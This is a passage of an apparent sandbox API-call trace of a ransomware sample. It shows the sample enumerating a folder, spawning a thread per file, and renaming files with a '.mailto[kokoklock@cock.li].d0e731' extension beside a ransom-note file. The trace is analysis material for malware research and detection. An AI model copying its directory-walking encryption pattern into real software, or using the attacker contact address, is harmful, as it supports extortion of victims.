lpParameter=0x2f7fbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0165.054] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8432f8aa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8432f8aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0165.054] wcscmp (_String1="1049", _String2=".") returned 1 [0165.054] wcscmp (_String1="1049", _String2="..") returned 1 [0165.054] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fae0 [0165.054] wcscpy (in: _Dest=0x2f7fae0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.054] wcscat (in: _Dest=0x2f7fae0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.054] wcscat (in: _Dest=0x2f7fae0, _Source="1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049" [0165.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0165.055] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x843ee522, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x843ee522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0165.055] wcscmp (_String1="1053", _String2=".") returned 1 [0165.055] wcscmp (_String1="1053", _String2="..") returned 1 [0165.055] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fb20 [0165.055] wcscpy (in: _Dest=0x2f7fb20, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.055] wcscat (in: _Dest=0x2f7fb20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.055] wcscat (in: _Dest=0x2f7fb20, _Source="1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053" [0165.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0165.056] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8437bd5d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8437bd5d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0165.056] wcscmp (_String1="1055", _String2=".") returned 1 [0165.056] wcscmp (_String1="1055", _String2="..") returned 1 [0165.056] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fe20 [0165.056] wcscpy (in: _Dest=0x2f7fe20, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.056] wcscat (in: _Dest=0x2f7fe20, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.056] wcscat (in: _Dest=0x2f7fe20, _Source="1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055" [0165.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fe20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0165.057] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8430960c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8430960c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0165.057] wcscmp (_String1="2052", _String2=".") returned 1 [0165.057] wcscmp (_String1="2052", _String2="..") returned 1 [0165.057] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7f9e0 [0165.057] wcscpy (in: _Dest=0x2f7f9e0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.057] wcscat (in: _Dest=0x2f7f9e0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.057] wcscat (in: _Dest=0x2f7f9e0, _Source="2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052" [0165.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7f9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0165.057] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x84591ff6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84591ff6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0165.057] wcscmp (_String1="2070", _String2=".") returned 1 [0165.057] wcscmp (_String1="2070", _String2="..") returned 1 [0165.058] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fb60 [0165.058] wcscpy (in: _Dest=0x2f7fb60, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.058] wcscat (in: _Dest=0x2f7fb60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.058] wcscat (in: _Dest=0x2f7fb60, _Source="2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070" [0165.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0165.058] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80272bad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80272bad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1 [0165.058] wcscmp (_String1="3076", _String2=".") returned 1 [0165.058] wcscmp (_String1="3076", _String2="..") returned 1 [0165.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fba0 [0165.059] wcscpy (in: _Dest=0x2f7fba0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.059] wcscat (in: _Dest=0x2f7fba0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.059] wcscat (in: _Dest=0x2f7fba0, _Source="3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076" [0165.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0165.059] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x803f0271, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803f0271, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0165.059] wcscmp (_String1="3082", _String2=".") returned 1 [0165.059] wcscmp (_String1="3082", _String2="..") returned 1 [0165.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fca0 [0165.059] wcscpy (in: _Dest=0x2f7fca0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.059] wcscat (in: _Dest=0x2f7fca0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.059] wcscat (in: _Dest=0x2f7fca0, _Source="3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082" [0165.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f7fca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0165.060] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80298dcc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80298dcc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0165.060] wcscmp (_String1="Client", _String2=".") returned 1 [0165.060] wcscmp (_String1="Client", _String2="..") returned 1 [0165.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87110 [0165.060] wcscpy (in: _Dest=0x2f87110, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.060] wcscat (in: _Dest=0x2f87110, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.060] wcscat (in: _Dest=0x2f87110, _Source="Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client" [0165.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0165.061] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db7582f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x7db7582f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7db7582f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.061] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.061] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.061] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x7db2922a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3fb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DHTMLH~1.D0E")) returned 1 [0165.061] wcscmp (_String1="DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.061] wcscmp (_String1="DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.061] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2f99638 [0165.061] wcscpy (in: _Dest=0x2f99638, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.061] wcscat (in: _Dest=0x2f99638, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.061] wcscat (in: _Dest=0x2f99638, _Source="DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731" [0165.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0165.062] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0165.062] wcscmp (_String1="DisplayIcon.ico", _String2=".") returned 1 [0165.062] wcscmp (_String1="DisplayIcon.ico", _String2="..") returned 1 [0165.062] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80298dcc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80298dcc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1 [0165.062] wcscmp (_String1="Extended", _String2=".") returned 1 [0165.062] wcscmp (_String1="Extended", _String2="..") returned 1 [0165.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f876b0 [0165.062] wcscpy (in: _Dest=0x2f876b0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.062] wcscat (in: _Dest=0x2f876b0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.062] wcscat (in: _Dest=0x2f876b0, _Source="Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended" [0165.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f876b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0165.063] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1 [0165.063] wcscmp (_String1="Graphics", _String2=".") returned 1 [0165.063] wcscmp (_String1="Graphics", _String2="..") returned 1 [0165.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87158 [0165.063] wcscpy (in: _Dest=0x2f87158, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.063] wcscat (in: _Dest=0x2f87158, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.063] wcscat (in: _Dest=0x2f87158, _Source="Graphics" | out: _Dest="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics" [0165.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0165.064] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x7dadce63, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xeec, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HEADER~1.D0E")) returned 1 [0165.064] wcscmp (_String1="header.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.064] wcscmp (_String1="header.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f82508 [0165.064] wcscpy (in: _Dest=0x2f82508, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.064] wcscat (in: _Dest=0x2f82508, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.064] wcscat (in: _Dest=0x2f82508, _Source="header.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731" [0165.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0165.064] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x8829aa05, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xad1394b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NETFX_~1.D0E")) returned 1 [0165.065] wcscmp (_String1="netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.065] wcscmp (_String1="netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.065] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2f63d48 [0165.065] wcscpy (in: _Dest=0x2f63d48, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.065] wcscat (in: _Dest=0x2f63d48, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.065] wcscat (in: _Dest=0x2f63d48, _Source="netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\netfx_Core.mzz.mailto[kokoklock@cock.li].d0e731" [0165.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f63d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c [0165.065] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0165.065] wcscmp (_String1="netfx_Core_x64.msi", _String2=".") returned 1 [0165.065] wcscmp (_String1="netfx_Core_x64.msi", _String2="..") returned 1 [0165.066] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0165.066] wcscmp (_String1="netfx_Core_x86.msi", _String2=".") returned 1 [0165.066] wcscmp (_String1="netfx_Core_x86.msi", _String2="..") returned 1 [0165.066] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x8b3abf74, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x29223c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NETFX_~2.D0E")) returned 1 [0165.066] wcscmp (_String1="netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.066] wcscmp (_String1="netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2f9c7a0 [0165.066] wcscpy (in: _Dest=0x2f9c7a0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.066] wcscat (in: _Dest=0x2f9c7a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.067] wcscat (in: _Dest=0x2f9c7a0, _Source="netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" [0165.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9c7a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0165.067] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0165.067] wcscmp (_String1="netfx_Extended_x64.msi", _String2=".") returned 1 [0165.067] wcscmp (_String1="netfx_Extended_x64.msi", _String2="..") returned 1 [0165.067] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0165.067] wcscmp (_String1="netfx_Extended_x86.msi", _String2=".") returned 1 [0165.067] wcscmp (_String1="netfx_Extended_x86.msi", _String2="..") returned 1 [0165.067] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2f8d608 | out: lpFindFileData=0x2f8d608*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x7dc0e604, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x427ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PARAME~1.D0E")) returned 1 [0165.067] wcscmp (_String1="ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.067] wcscmp (_String1="ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.067] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2f9c520 [0165.068] wcscpy (in: _Dest=0x2f9c520, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0165.068] wcscat (in: _Dest=0x2f9c520, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") 